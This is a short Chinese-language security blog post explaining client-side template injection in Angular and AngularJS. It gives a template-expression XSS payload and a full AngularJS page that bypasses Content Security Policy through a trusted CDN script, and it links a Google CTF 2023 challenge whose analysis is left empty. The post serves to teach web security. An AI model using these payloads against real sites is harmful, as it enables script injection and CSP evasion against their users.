↓ Skip to main content
Background Image

探索前端安全Day(四)-CSTI

·122 words·1 min· loading · loading ·
WEB Front CSTI
Table of Contents

引言
#

应该会注意到的吧，标题变了，因为后面会讲到CSTI和SSTI的东西，所以就改成了前端安全，悄悄话：其实之前的原型链污染也有的，但是之前写过了就不想再写一遍了

简要
#

CSTI，全名为Client Side Template Injection，我们在CTF中比较常见到SSTI，但是很少见到CSTI也就是前端模板注入，难道前端也有模板？有的兄弟有的。

Client Side Template Injection
#

这里用Angular举例，因为后面刚好有一个CTF的例子可以让大家更好理解。

// import required packages
import 'zone.js';
import { Component } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';

// describe component
@Component({
  selector: 'add-one-button', // component name used in markup
  standalone: true, // component is self-contained
  template: // the component's markup
  `
   <button (click)="count = count + 1">Add one</button> {{ count }}
  `,
})

// export component
export class AddOneButtonComponent {
  count = 0;
}

bootstrapApplication(AddOneButtonComponent);

很清晰能看到有一个template的参数，其中被设置为一个button标签，{{ count }}改成{{ constructor.constructor('alert(1)')() }}就会变成xss，不用window是因为模板里面没办法直接拿到window，所以如果让attacker可控template的话就会很麻烦。

AngularJS+CSP bypass
#

<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com">
</head>
<body>
  <div ng-app ng-csp>
    <input id=x autofocus ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
  </div>

  <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>

这个和前面绕CSP的时候讲过的差不多，就是利用了cdn里面library的洞来进行绕过，刚好AngularJS就是这一类（小本本记起来） 这里就拿一道题目举例子

Google CTF 2023-noteninja
#

附件地址： https://github.com/google/google-ctf/tree/main/2023/quals/web-noteninja 因为附件用的是k8s写的，我这边没环境，所以我们就直接看源码吧

这里先空着吧，后面再来分析。

Delete's blog
Author
Delete’s blog